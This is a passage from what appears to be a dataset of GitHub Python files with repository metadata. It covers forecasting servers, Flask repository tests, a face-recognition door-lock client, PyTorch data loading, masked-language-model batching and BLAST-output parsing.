gettext.gettext(key.group(1)),\n\t\t\t\tsource)\n\t\t\thtml = html.replace('{lang-code}', lang)\n\t\t\thtml = html.replace('{release-date}', datetime.date.today().strftime('%Y-%m-%d'))\n\t\t\thtml = html.replace('{release-year}', datetime.date.today().strftime('%Y'))\n\t\t\twith open('output/%s.html' % lang, 'w') as out:\n\t\t\t\tout.write(html)\n\t\t\thtmlify.Htmlifier().htmlify(\n\t\t\t\tinput='output/%s.html' % lang,\n\t\t\t\toutput='output/%s.min.html' % lang)\n\n\t\t\t# Add a hosted copy with offline manifest\n\t\t\twith open('output/%s.min.html' % lang) as f:\n\t\t\t\tminified = f.read()\n\t\t\twith open('output/hosting/%s.%s.html' % (lang, version), 'w') as f:\n\t\t\t\tf.write(minified.replace('> \")))], key=lambda y: int(y[1:])),\n marginalize=True,\n )\n \n result = results[0]\n candidates_ids = [candidate[\"texts\"][0]+\" (\"+candidate[\"id\"]+\")\" for candidate in result]\n candidates_scores= [str(candidate[\"score\"].item()) for candidate in result]\n for _id, score in zip(candidates_ids, candidates_scores):\n candidates_list.append(\"; \".join([_id, score]))\n output_dict[key]=candidates_list\n pbar.update(1)\n\n\nwith open(\"./output_mgenre.json\", \"w\", encoding=\"utf-8\") as f:\n json.dump(output_dict, f, indent=4, ensure_ascii=False)\n","repo_name":"ISE-FIZKarlsruhe/vasari_network","sub_path":"linking_vasari_wikidata/run_mgenre.py","file_name":"run_mgenre.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25057593078","text":"# [D] \n# [N] [C] \n# [Z] [M] [P]\n# 1 2 3 \n\nstack = [\n [],\n [\"N\", \"Z\"],\n [\"D\", \"C\", \"M\"],\n [\"P\"]\n]\n\ndef main():\n file = open(\"../input.txt\", \"r\")\n for line in file:\n print(line)\n line = line.replace(\" \", \"\")\n move = 0\n start_position = 0\n end_position = 0\n aux = 0\n move = int(line[line.index(\"e\")+1:line.index(\"f\")])\n start_position = int(line[line.index(\"om\")+2:line.index(\"t\")])\n end_position = int(line[line.index(\"to\")+2:])\n \n for x in range(move):\n print(x)\n print(stack[end_position])\n stack[end_position].append(stack[start_position][x])\n stack[start_position].pop\n print(stack)\n\n\n\nmain()","repo_name":"ArasaiX/AdventOfCode2022-HereWeGoAgain","sub_path":"2022/day5/1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41097129491","text":"from __future__ import annotations\nfrom .base import BaseDAO\nfrom data_access.factories import TransactionsFactory\nfrom typing import TYPE_CHECKING\nif TYPE_CHECKING:\n from data_access.dto import TransactionsDTO\n\n\nclass TransactionsDAO(BaseDAO):\n def get_all_data(self) -> list[TransactionsDTO]:\n data = self._db_gateway.cursor.execute(\n 'SELECT users.first_name, users.last_name, bankcards.card_number, '\n 'transactions.total_price, transactions.creation_datetime, '\n 'countries.country_name, cities.city_name, streets.street_name, '\n 'addresses.home_number, addresses.postcode, '\n 'transactions.transaction_id FROM transactions '\n 'JOIN baskets ON transactions.basket_id = baskets.basket_id '\n 'JOIN users ON baskets.user_id = users.user_id '\n 'JOIN bankcards ON transactions.bankcard_id = '\n 'bankcards.bankcard_id '\n 'JOIN addresses ON transactions.address_id = addresses.address_id'\n ' JOIN streets ON addresses.street_id = streets.street_id '\n 'JOIN cities ON streets.city_id = cities.city_id '\n 'JOIN countries ON cities.country_id = countries.country_id '\n 'ORDER BY transactions.transaction_id;'\n )\n result_list: list[tuple] = data.fetchall()\n final_list: list[TransactionsDTO] = []\n for row in result_list:\n list_data = list(row)\n data_dto = TransactionsFactory(list_data=list_data).generate_dto()\n final_list.append(data_dto)\n return final_list\n","repo_name":"Kosalexx/Project_1","sub_path":"book_store_db/crud_program/data_access/dao/transactions.py","file_name":"transactions.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23765467554","text":"from http.server import BaseHTTPRequestHandler, HTTPServer\nimport cgi\nimport sys\nimport rdflib\nimport sys\nimport data_processing.ttl2jsonld\nimport data_processing.crawled\nfrom rdflib import Graph, plugin\nfrom functools import lru_cache\nfrom rdflib import Graph, URIRef, Literal, BNode\nfrom rdflib.namespace import FOAF, RDF\nfrom river import datasets\nfrom river import metrics\nfrom river import time_series\nimport datetime as dt\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n@lru_cache(maxsize=2048)\nclass One(object):\n def __init__(self):\n self.a = None\n\n def set_a(self,val):\n self.a = val\n\n def get_a(self):\n return self.a\n\nOne().set_a('There is no POST request received yet in the ml server')\n\nfile_names = []\ny_list = []\ntime_history=[0]\ntemperature_history = []\n\n\nclass webserverHandler(BaseHTTPRequestHandler):\n \"\"\"docstring for webserverHandler\"\"\"\n\n def do_GET(self):\n try:\n if self.path.endswith(\"/output\"):\n self.send_response(200)\n self.send_header('Content-Type', 'text/html')\n self.end_headers()\n\n print('test')\n \"\"\"\n output = \"\"\n output += 'Hello!'\n output += '

What would you like me to say?

'\n output += ''\n \"\"\"\n\n output = One().get_a()\n\n self.wfile.write(output.encode())\n #print(output)\n return\n\n\n\n except IOError:\n self.send_error(404, \"File not found %s\" % self.path)\n\n def do_POST(self):\n try:\n if self.path.endswith(\"/input\"):\n self.send_response(200)\n self.send_header('Content-Type', 'text/html')\n self.end_headers()\n ctype, pdict = cgi.parse_header(self.headers.get('Content-Type'))\n\n\n content_len = int(self.headers.get('Content-length'))\n post_body = self.rfile.read(content_len)\n #pdict['boundary'] = bytes(pdict['boundary'], \"utf-8\")\n #pdict['CONTENT-LENGTH'] = content_len\n print('POST request input:')\n print(post_body)\n\n \n testrdf = \"\"\"\n @prefix dcterms: .\n \n dcterms:temperature \"10\"@en ;\n dcterms:salinity \"20\"@en .\n \"\"\"\n\n ##CONVERSION TO JSON-LD\n print('conversion to json-ld:')\n #print(data_processing.ttl2jsonld.convert_rdf_2_jsonld(post_body))\n input = data_processing.ttl2jsonld.convert_rdf_2_jsonld(post_body)\n \n g = Graph().parse(data=input, format='json-ld')\n salinity = data_processing.crawled.crawl_parameter('http://purl.org/dc/terms/salinity', g)\n print('crawled salinity is :' + salinity)\n\n time_it = data_processing.crawled.crawl_parameter('http://purl.org/dc/terms/time', g)\n print('crawled time is :' + time_it)\n\n temperature = data_processing.crawled.crawl_parameter('http://purl.org/dc/terms/temperature', g)\n print('crawled temperature is :' + temperature)\n temperature = float(temperature)\n temperature_history.append(float(temperature))\n\n print (len(time_history))\n if len(time_history)==1:\n global model\n model = time_series.HoltWinters(\n alpha=0.3,\n beta=0.1,\n gamma=0.6,\n seasonality=12,\n multiplicative=True\n )\n \n \"\"\"\n alpha: Smoothing parameter for the level.\n beta (defaults to None): Smoothing parameter for the trend.\n gamma (defaults to None): Smoothing parameter for the seasonality.\n seasonality (defaults to 0): The number of periods in a season. For instance, this should be 4 for quarterly data, and 12 for yearly data.\n multiplicative (defaults to False): Whether or not to use a multiplicative formulation.\n \"\"\"\n\n \n #Evalute TODO\n dataset = datasets.AirlinePassengers()\n metric = metrics.MAE()\n time_series.evaluate.progressive_val_score(\n #dataset,\n model,\n metric,\n horizon=12\n )\n\n\n \n \n\n #Training Online Forecosting model\n horizon=12\n model = model.learn_one(temperature)\n \n #Online Forecasting\n forecast_output = model.forecast(horizon=horizon)\n print(forecast_output)\n t_list2=[]\n for i in range(len(forecast_output)+1):\n t_list2.append(time_history[-1] + i )\n forecast_output.insert(0, temperature_history[-1])\n\n plt.figure()\n sns.set()\n\n #Plotting\n print(forecast_output)\n plt.scatter(t_list2, forecast_output, c='b', alpha=0.6, s=4)\n plt.plot(t_list2, forecast_output, c='orange', linewidth=0.3)\n plt.scatter(time_history, temperature_history, c='r', alpha=0.6, s=6)\n plt.plot(time_history, temperature_history, linewidth=0.3)\n time_history.append(time_history[-1] + 1)\n plt.suptitle(\"Online Machine Learning (forecasting)\", fontsize=18)\n plt.title(\"Iteration {y}\".format(y=time_history[-1]), fontsize=10)\n plt.xlabel('Time')\n plt.ylabel('Value')\n plt.savefig(\"./output_ml/it_{y}.png\".format(y=time_history[-1]))\n print(\"./output_ml/it_{y}.png\".format(y=time_history[-1]))\n file_names.append(\"./output_ml/it_{y}.png\".format(y=time_history[-1]))\n test = 'gelukt'\n One().set_a('gelukt')\n ##ADD PREDICTION TO GRAPH\n #self.wfile.write(test.encode())\n return\n except:\n #self.send_error(404, \"{}\".format(sys.exc_info()[1]))\n print(sys.exc_info())\n\ndef main():\n try:\n port = 8000\n server = HTTPServer(('', port), webserverHandler)\n print(\"Web server running on port %s\" % port)\n server.serve_forever()\n\n\n except KeyboardInterrupt:\n print(\" ^C entered stopping web server...\")\n server.socket.close()\n\n\nif __name__ == '__main__':\n main()","repo_name":"samuvack/ML-LDES-server","sub_path":"server_forecasting.py","file_name":"server_forecasting.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73932852266","text":"import unittest\n\nfrom flask import Flask\nfrom flask_testing import TestCase\n\nfrom config.app import createApp, db\nfrom repository.cartRepository import cartRepository\nfrom repository.orderRepository import orderRepository\nfrom repository.userRepository import userRepository\nfrom tests.fixture import Fixture\n\n\nclass CartRepositoryTestCase(TestCase):\n def create_app(self) -> Flask:\n app = createApp(\"testing\")\n return app\n\n def setUp(self) -> None:\n db.create_all()\n\n Fixture.createOrders(1, 2, 1, 1)[0]\n self.user1, self.user2 = userRepository.getAll()\n\n self.data = {\n \"userId\": self.user1.id,\n \"orders\": orderRepository.filterAll(userId=self.user1.id),\n }\n\n def tearDown(self) -> None:\n db.session.remove()\n db.drop_all()\n\n def test_repository_cart_create_cart(self) -> None:\n cart = cartRepository.create(**self.data)\n self.assertIsNotNone(cart.id)\n self.assertEqual(cart.userId, self.data[\"userId\"])\n self.assertEqual(cart.orders, self.data[\"orders\"])\n self.assertEqual(len(cart.orders), len(self.data[\"orders\"]))\n\n def test_repository_cart_get_all_carts(self) -> None:\n cartRepository.create(**self.data)\n cartRepository.create(userId=self.user2.id)\n carts = cartRepository.getAll()\n self.assertEqual(len(carts), 2)\n\n def test_repository_cart_get_cart_by_id(self) -> None:\n cart = cartRepository.create(**self.data)\n retrieved_cart = cartRepository.getById(cart.id)\n self.assertIsNotNone(retrieved_cart)\n self.assertEqual(retrieved_cart.id, cart.id)\n\n def test_repository_cart_get_cart_by_public_id(self) -> None:\n cart = cartRepository.create(**self.data)\n retrieved_cart = cartRepository.getByPublicId(cart.publicId)\n self.assertIsNotNone(retrieved_cart)\n self.assertEqual(retrieved_cart.id, cart.id)\n\n def test_repository_cart_filter_carts(self) -> None:\n cart1 = cartRepository.create(**self.data)\n cartRepository.create(userId=self.user2.id)\n filtered_cart = cartRepository.filter(userId=self.data[\"userId\"])\n self.assertIsNotNone(filtered_cart)\n self.assertEqual(filtered_cart.id, cart1.id)\n\n def test_repository_cart_filter_all_carts(self) -> None:\n cartRepository.create(**self.data)\n cartRepository.create(userId=self.user2.id)\n filtered_carts = cartRepository.filterAll(userId=self.data[\"userId\"])\n self.assertEqual(len(filtered_carts), 1)\n\n def test_repository_cart_get_or_create_cart(self) -> None:\n cart, created = cartRepository.getOrCreate(userId=self.data[\"userId\"])\n self.assertTrue(created)\n cart2, created2 = cartRepository.getOrCreate(userId=self.data[\"userId\"])\n self.assertFalse(created2)\n self.assertEqual(cart.id, cart2.id)\n\n def test_repository_cart_delete_cart(self) -> None:\n cart = cartRepository.create(**self.data)\n self.assertIsNotNone(cart)\n cartRepository.delete(cart)\n retrieved_cart = cartRepository.getById(cart.id)\n self.assertIsNone(retrieved_cart)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Macktireh/EasyEatsOnline","sub_path":"tests/test_repository/test_cartRepository.py","file_name":"test_cartRepository.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"30449566173","text":"# !/usr/bin/env python3\n# coding: utf-8\n\n# *4. Написать программу, которая принимает от пользователя текстовую строку и выводит на экран все символы, которые в ней встречаются и количество их вхождений.\n\n# Пример:\n# На вход подаётся строка \"Привет! Меня зовут Артём!\"\n# Вывод должен быть \"п: 1, р: 2, и: 1, в: 2, е: 2, т: 3, !: 2, м: 2, н: 1, я: 1, з: 1, о: 1, у: 1, а: 1, ё: 1\"\n# Примечание:\n# Можно использовать только строки и целые. Другие типы данных запрещены.\n\nstring_input = input('введите строку для анализа: ')\ni = 0\noutput_string = str()\nwhile i < len(string_input):\n output_string += string_input[i] + ': ' + str(string_input.count(string_input[i]))\n string_input = string_input.replace(string_input[i], '')\n if len(string_input) > 0:\n output_string += \", \"\nprint(output_string)\n","repo_name":"PlusSP/Python","sub_path":"strings/task_4.py","file_name":"task_4.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33807727203","text":"import cv2,os\nimport numpy as np\nfrom PIL import Image\nimport sqlite3\nimport socket\n\nhost = '192.168.43.160' #put your raspberrypi address here \nport = 5560 #specifie port \ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #initilize socket\ns.connect((host,port)) #connect to that IP and port address to your raspberrypi \n\nfaceDetect = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\nconfidance = 100\n\ncam = cv2.VideoCapture(0)\nrec=cv2.createLBPHFaceRecognizer()\nrec.load(\"ymlDatabase\\\\trainingData.yml\") #All Code Same as GUI \n \n\ndef getProfile(id):\n conn = sqlite3.connect('SQLFace.db')\n cmd = \"SELECT * FROM People WHERE ID=\"+str(id)\n cursor = conn.execute(cmd)\n profile = None\n for row in cursor:\n profile=row\n conn.close()\n return profile\n\n\ndef faceRec():\n ret,img = cam.read()\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n faces = faceDetect.detectMultiScale(gray,1.3,5)\n for (x,y,w,h) in faces:\n cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),2)\n image = gray[y:y+h,x:x+w]\n resized = cv2.resize(image,(200,150))\n id,conf = rec.predict(resized)\n profile = getProfile(id)\n if (id == 1 or id == 2) and conf < confidance:\n return True\n\ntry: \n trueCount = 0\n maxTrueCount = 5 # after how much times recogniation of face door open will be sent.\n while True:\n cammand = faceRec() # sending request to open the door \n print(\"command : \"+ str(cammand))\n if cammand == True:\n print(\"processing\")\n trueCount = trueCount + 1\n if cammand == True and trueCount > maxTrueCount:\n cammand = str(cammand)\n s.send(str.encode(cammand))\n reply = s.recv(1024)\n print (reply.decode('utf-8'))\n trueCount = 0\nfinally:\n cam.release()\n cv2.destroyAllWindows() #destroy all \n s.close()\n","repo_name":"prakharexjailia/faceRecognizationDoorLockLBPH","sub_path":"PC/facerecog_clientCammandPC.py","file_name":"facerecog_clientCammandPC.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26366468906","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# class TensorDataset(Dataset[Tuple[Tensor, ...]]):\n# ## Dataset wrapping tensors.\n# ## Each sample will be retrieved by indexing tensors along the first dimension.\n# ## Args:\n# ## *tensors (Tensor): tensors that have the same size of the first dimension.\n\n# tensors: Tuple[Tensor, ...]\n# def __init__(self, *tensors: Tensor) -> None:\n# assert all(tensors[0].size(0) == tensor.size(0)\n# for tensor in tensors), \"Size mismatch between tensors\"\n# self.tensors = tensors\n\n# def __getitem__(self, index):\n# return tuple(tensor[index] for tensor in self.tensors)\n\n# def __len__(self):\n# return self.tensors[0].size(0)\n\n\"\"\"\n顾名思义,torch.utils.data 中的 TensorDataset 基于一系列张量构建数据集。这些张量的形状可以不尽相同,但第一个维度必须具有相同大小,这是为了保证在使用 DataLoader 时可以正常地返回一个批量的数据。\n\n*tensors 告诉我们实例化 TensorDataset 时传入的是一系列张量,即:\n\ndataset = TensorDataset(tensor_1, tensor_2, ..., tensor_n)\n\n随后的 assert 是用来确保传入的这些张量中,每个张量在第一个维度的大小都等于第一个张量在第一个维度的大小,即要求所有张量在第一个维度的大小都相同。\n__getitem__ 方法返回的结果等价于\n\nreturn tensor_1[index], tensor_2[index], ..., tensor_n[index]\n从这行代码可以���出,如果 n nn 个张量在第一个维度的大小不完全相同,则必然会有一个张量出现 IndexError。确保第一个维度大小相同也是为了之后传入 DataLoader 中能够正常地以一个批量的形式加载。\n__len__ 就不用多说了,因为所有张量的第一个维度大小都相同,所以直接返回传入的第一个张量在第一个维度的大小即可。\nTensorDataset 将张量的第一个维度视为数据集大小的维度,数据集在传入 DataLoader 后,该维度也是 batch_size 所在的维度\n\n\"\"\"\n\nfrom torch.utils.data import TensorDataset\nimport torch\nfrom torch.utils.data import DataLoader\n\na = torch.tensor([[1, 2, 3], [4, 5, 6], [7, 8, 9], [1, 2, 3], [4, 5, 6], [7, 8, 9], [1, 2, 3], [4, 5, 6], [7, 8, 9], [1, 2, 3], [4, 5, 6], [7, 8, 9]])\nb = torch.tensor([44, 55, 66, 44, 55, 66, 44, 55, 66, 44, 55, 66])\ntrain_ids = TensorDataset(a, b)\n# 切片输出\nprint(train_ids[0:2])\nprint('=' * 80)\n# 循环取数据\nfor x_train, y_label in train_ids:\n print(x_train, y_label)\n# DataLoader进行数据封装\nprint('=' * 80)\ntrain_loader = DataLoader(dataset=train_ids, batch_size=4, shuffle=True)\nfor i, data in enumerate(train_loader, 1): # 注意enumerate返回值有两个,一个是序号,一个是数据(包含训练数据和标签)\n x_data, label = data\n print(f\"batch {i}: \\n x_data:{x_data}\\n label: {label}\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"junjiecjj/Python","sub_path":"PytorchTutor/Pytorch/Dataloaders/tensor_dataset.py","file_name":"tensor_dataset.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33216583495","text":"# Some hyper-parameters for modelling\nfrom arsenal.Base.packages import *\nfrom arsenal.Models import OLS, RR, LASSO, PLSR, GPR, ELM, MCGCN, GCLSTM, LR, FCN, LSTM, GCN, PCA, tSNE, AE, VAE\n\n# Model implemented by myself\nmodel_myself = {\n 'regression': {\n 'OLS': OLS.OlsModel(),\n 'RR': RR.RrModel(),\n 'LASSO': LASSO.LassoModel(),\n 'PLSR': PLSR.PlsrModel(),\n 'GPR': GPR.GprModel(),\n 'ELM': ELM.ElmModel(),\n 'MCGCN': MCGCN.McgcnModel(),\n 'GCLSTM': GCLSTM.GclstmModel(),\n 'FCN': FCN.FcnModel(prob='regression'),\n 'LSTM': LSTM.LstmModel(prob='regression'),\n 'GCN': GCN.GcnModel(prob='regression')\n },\n 'classification': {\n 'LR': LR.LrModel(),\n 'FCN': FCN.FcnModel(prob='classification'),\n 'LSTM': LSTM.LstmModel(prob='classification'),\n 'GCN': GCN.GcnModel(prob='classification')\n },\n 'dimensionality-reduction': {\n 'PCA': PCA.PcaModel(),\n 'AE': AE.AeModel(),\n 'VAE': VAE.VaeModel()\n }\n}\n\n# Model implemented by package\nmodel_package = {\n 'regression': {\n 'OLS': OLS.LinearRegression(),\n 'RR': RR.Ridge(),\n 'LASSO': LASSO.Lasso(),\n 'PLSR': PLSR.PLSRegression(),\n 'GPR': GPR.GaussianProcessRegressor(),\n 'FCN': FCN.MLPRegressor()\n },\n 'classification': {\n 'LR': LR.LogisticRegression(),\n 'FCN': FCN.MLPClassifier()\n },\n 'dimensionality-reduction': {\n 'PCA': PCA.PCA(),\n 'tSNE': tSNE.TSNE()\n }\n}\n\n# Model hyper-parameters\nhyper_params = {\n 'RR': {'alpha': np.logspace(-4, 4, 10000)},\n 'LASSO': {'alpha': np.logspace(-4, 4, 10000)},\n 'PLSR': {'n_components': range(2, 11)},\n 'GPR': {'l': np.linspace(0.1, 1.0, 10), 'sigma': np.linspace(0.1, 1.0, 10)},\n 'ELM': {'dim_h': [1024, 512, 256], 'alpha': np.logspace(-4, 4, 10000)},\n 'LR': {'C': np.logspace(-4, 4, 10000)},\n 'MCGCN': {'in_fc': ((1024,), (512,), (256,))},\n 'GCLSTM': {'lstm': ((1024,), (512,), (256,))},\n 'FCN': {'hidden_layer_sizes': ((1024,), (512,), (256,), (128,), (1024, 512), (512, 256), (256, 128))},\n 'LSTM': {'lstm': ((1024,), (512,), (256,), (128,), (1024, 512), (512, 256), (256, 128))},\n 'GCN': {'gc': ((1024,), (512,), (256,), (128,), (1024, 512), (512, 256), (256, 128))}\n}\n\n# HPO hyper-parameters\nhpo = {\n 'GS': {'cv': 5},\n 'RS': {'cv': 5, 'n_iter': 100}\n}\n","repo_name":"mfxs/arsenal","sub_path":"Base/hyper_params.py","file_name":"hyper_params.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"11623332113","text":"import tensorflow as tf\nimport random\nimport numpy as np\nfrom utils import load_pkl, load_word2vec\nimport argparse\n\n\nclass Vocab:\n def __init__(self, vocab_file, max_size, train_data_path=None):\n self.word2id = {'':0, '':1, '':2}\n self.id2word = {0:'', 1:'', 2:''}\n self.label2id = {}\n self.id2label = {}\n self.word_count = 3\n self.label_count = 0\n\n with open(vocab_file, 'r', encoding='utf-8') as f:\n for line in f:\n v = line.strip()\n\n if v in self.word2id:\n raise Exception('Duplicated word in vocabulary file: %s' % v)\n\n self.word2id[v] = self.word_count\n self.id2word[self.word_count] = v\n self.word_count += 1\n if max_size != 0 and self.word_count >= max_size:\n print(\"max_size of vocab was specified as %i; we now have %i words. Stopping reading.\"\n % (max_size, self.word_count))\n break\n\n print(\"Finished constructing vocabulary of %i total words. Last word added: %s\" %\n (self.word_count, self.id2word[self.word_count - 1]))\n\n with open(train_data_path, 'r', encoding='utf-8') as f:\n for line in f:\n label = line.split('\\t')[0]\n\n if label in self.label2id:\n continue\n self.label2id[label] = self.label_count\n self.id2label[self.label_count] = label\n self.label_count += 1\n\n print(\"Finished constructing label of %i total labels. Last word added: %s\" %\n (self.label_count, self.id2label[self.label_count - 1]))\n\n def word_to_id(self, word):\n if word not in self.word2id:\n return self.word2id['']\n return self.word2id[word]\n\n def label_to_id(self, label):\n return self.label2id[label]\n\n def id_to_word(self, word_id):\n if word_id not in self.id2word:\n raise ValueError('Id not found in vocab: %d' % word_id)\n return self.id2word[word_id]\n\n def id_to_label(self, label_id):\n if label_id not in self.id2label:\n raise ValueError('Label id not found: %d' % label_id)\n return self.id2label[label_id]\n\n def word_size(self):\n return self.word_count\n\n def label_size(self):\n return self.label_count\n\n\ndef mlm_generator(args, embedding_table):\n\n train_dataset = tf.data.TextLineDataset(args.pre_train_data_path)\n # train_dataset = train_dataset.shuffle(1000, reshuffle_each_iteration=True).repeat()\n # i = 0\n for line in train_dataset:\n per_sens_embedding = np.zeros((args.max_seq_len, args.embedding_dim))\n per_sens_ids = np.zeros(args.max_seq_len)\n per_sens_attention_masks = np.zeros(args.max_seq_len) # huggingface transformers argument 用来分别不同的句子\n per_sens_label = np.zeros(args.max_seq_len)-100\n\n for word_idx, word in enumerate(line.numpy().decode('utf-8').split()[:args.max_seq_len]):\n per_sens_attention_masks[word_idx] = 1\n if random.random() < args.mlm_probability: # 0.15\n per_sens_label[word_idx] = args.vocab[word]\n\n if random.random() < 0.8:\n per_sens_ids[word_idx] = args.vocab['']\n elif random.random() < 0.9:\n # per_sens_embedding[word_idx] = embedding_table[word]\n # try:\n # per_sens_ids[word_idx] = args.vocab[word]\n # except:\n per_sens_ids[word_idx] = args.vocab['']\n else:\n while True:\n random_word = random.sample(args.vocab.keys(), 1)[0]\n if random_word != word:\n break\n per_sens_embedding[word_idx] = embedding_table[random_word] \n \n per_sens_ids[word_idx] = args.vocab[random_word]\n else:\n per_sens_ids[word_idx] = args.vocab[word]\n per_sens_embedding[word_idx] = embedding_table[word]\n\n yield per_sens_embedding, per_sens_ids, per_sens_attention_masks, per_sens_label\n\n\ndef cls_generator(args, embedding_table):\n train_dataset = tf.data.TextLineDataset(args.train_data_path)\n\n for line in train_dataset:\n per_sens_embedding = np.zeros((args.max_seq_len, args.embedding_dim))\n per_sens_ids = np.zeros(args.max_seq_len)\n per_sens_attention_masks = np.zeros(args.max_seq_len) # huggingface transformers argument 用来分别不同的句子\n per_sens_label_id = args.vocab.label2id[line.numpy().decode('utf-8').split('\\t')[0]]\n\n text = line.numpy().decode('utf-8').split('\\t')[-1]\n for word_idx, word in enumerate(text.split()[:args.max_seq_len]):\n per_sens_attention_masks[word_idx] = 1\n per_sens_ids[word_idx] = args.vocab.word2id[word]\n per_sens_embedding[word_idx] = embedding_table[word]\n\n yield per_sens_embedding, per_sens_ids, per_sens_attention_masks, per_sens_label_id \n\n\ndef batch_generator(generator, args, embedding_table):\n dataset = tf.data.Dataset.from_generator(lambda: generator(args, embedding_table),\n output_types= (tf.float32, tf.int32, tf.int32, tf.int32)\n )\n\n return dataset\n\n\ndef batcher(args, embedding_table):\n if args.mode == 'pretrian':\n dataset = batch_generator(mlm_generator, args, embedding_table)\n elif args.mode == 'train':\n dataset = batch_generator(cls_generator, args, embedding_table)\n dataset_batch = dataset.batch(args.batch_size)\n return dataset_batch\n\n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser()\n parser.add_argument(\"--mlm_probability\", type=float, default=0.15, help=\"Input train file.\")\n parser.add_argument(\"--batch_size\", type=int, default=32, help=\"Dimension of LSTM cell.\")\n parser.add_argument(\"--max_seq_len\", type=int, default=50, help=\"Dimension of LSTM cell.\")\n parser.add_argument(\"--embedding_dim\", type=int, default=128, help=\"Dimension of LSTM cell.\")\n parser.add_argument(\"--pre_train_data_path\", type=str, default=\"E:/CodeSleepEatRepeat/data/58tech/samplesdataset/pre_train_data\", help=\"Dimension of LSTM cell.\")\n parser.add_argument(\"--train_data_path\", type=str, default=\"E:/CodeSleepEatRepeat/data/58tech/samplesdataset/train_data\", help=\"Dimension of LSTM cell.\")\n parser.add_argument(\"--num_hidden_layers\", type=int, default=6, help=\"Dimension of LSTM cell.\")\n parser.add_argument(\"--hidden_size\", type=int, default=128, help=\"Dimension of LSTM cell.\")\n parser.add_argument(\"--intermediate_size\", type=int, default=32, help=\"Dimension of LSTM cell.\")\n parser.add_argument(\"--num_attention_heads\", type=int, default=8, help=\"Dimension of LSTM cell.\")\n parser.add_argument(\"--vocab_size\", type=int, default=1000, help=\"Dimension of LSTM cell.\")\n\n args = parser.parse_args()\n\n vocab = Vocab('E:/CodeSleepEatRepeat/data/58tech/data/vocab_new.txt', 50000, 'E:/CodeSleepEatRepeat/data/58tech/data/train_data')\n \n args.vocab = vocab\n\n embs = load_pkl('E:/CodeSleepEatRepeat/data/58tech/data/word2vec.txt')\n batches = batcher(args, embs,)\n\n for batch in batches:\n print(batch[0].shape, batch[1].shape, batch[2].shape, batch[3].shape)\n break\n\n # print(embs)","repo_name":"kongdzh/58tech_pretraining","sub_path":"batcher.py","file_name":"batcher.py","file_ext":"py","file_size_in_byte":7553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28780596024","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Aug 23 15:25:31 2021\r\n\r\n@author: sauba\r\n\"\"\"\r\nphylo_species = open(\"C:/Users/sauba/Desktop/Work_Stuff/MRJP/3.Phylo/2.for_automation/phylo_species.txt\",'r')\r\nspecies_list = phylo_species.readlines()\r\n#print(species_list)\r\nquery_name = \"wg_query\"\r\nquery_length = 175\r\nscaff = \"Intial_value\"\r\nheader = \"Species,\" + \"Scaffold,\" + \"Start,\" + \"Stop,\" + \"Complement,\" + \"Error,\" + \"Gene\\n\" \r\nOutput_Sequence = header\r\nfor species_name in species_list:\r\n# print(species_name)\r\n tblast_out = open(\"C:/Users/sauba/Desktop/Work_Stuff/3.Genomes/data/\"+species_name.split(\"\\n\")[0]+\"/phylo_text.txt\",'r')\r\n lines_in_file = tblast_out.readlines()\r\n #print(lines_in_file)\r\n result_section_switch = 0\r\n start_coor_switch = 0\r\n stop_coor_switch = 0\r\n error = \"N\"\r\n for lines in lines_in_file:\r\n if query_name in lines:\r\n result_section_switch = 1\r\n if result_section_switch == 1:\r\n if (\"Score\" in lines or \">\" in lines) and (start_coor_switch == 1):\r\n# print (lines)\r\n break\r\n if \">\" in lines:\r\n scaff = lines.split(\" \")[0][1:]\r\n if \"Sbjct\" in lines:\r\n if start_coor_switch == 0:\r\n start_coor = int(lines.split(\" \")[2])\r\n start_coor_switch = 1\r\n stop_coor =int(lines.split(\" \")[-1][:-1])\r\n# print (stop_coor)\r\n \r\n #print(scaff, start_coor, stop_coor)\r\n if start_coor < stop_coor:\r\n complement = \"0\"\r\n length = (stop_coor-start_coor)/3\r\n start = start_coor\r\n stop = stop_coor\r\n \r\n elif start_coor > stop_coor:\r\n complement = \"1\"\r\n length = (-stop_coor+start_coor)/3\r\n start = stop_coor\r\n stop = start_coor\r\n \r\n else:\r\n error = \"Y\"\r\n if length < query_length - 0.05*query_length:\r\n error = \"Y\"\r\n \r\n \r\n output_format = str(species_name.split(\"\\n\")[0])+\",\" + str(scaff) +\",\" + str(start)+\",\" + str(stop)+\",\" + str(complement)+\",\" + str(error)+ \",\"+ str(query_name[:-6])+\"\\n\" \r\n Output_Sequence = Output_Sequence + 